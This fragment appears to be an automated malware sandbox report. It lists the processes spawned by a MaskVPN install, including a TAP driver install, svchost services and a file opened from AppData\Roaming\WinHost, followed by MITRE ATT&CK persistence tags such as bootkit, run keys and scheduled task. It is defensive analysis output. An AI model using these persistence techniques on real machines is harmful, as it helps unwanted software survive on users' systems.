C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{183faa4b-361d-664e-bcbf-3364ae635524}\oemvista.inf" "9" "4d14a44ff" "0000000000000168" "WinSta0\Default" "0000000000000170" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵PID:4776
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000168"2⤵PID:6296
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵PID:6336
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵PID:6328
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\7174987245394c899527f72feaa78f48 /t 5888 /p 25121⤵PID:4364
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\984b2ba10a29481da8333b2e3a0debfd /t 4384 /p 21121⤵PID:3944
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵PID:4368
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe "C:\Users\Admin\AppData\Roaming\WinHost\8190226.90"1⤵PID:6800
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6768
Network
MITRE ATT&CK Enterprise v6
Persistence
Bootkit
1Modify Existing Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1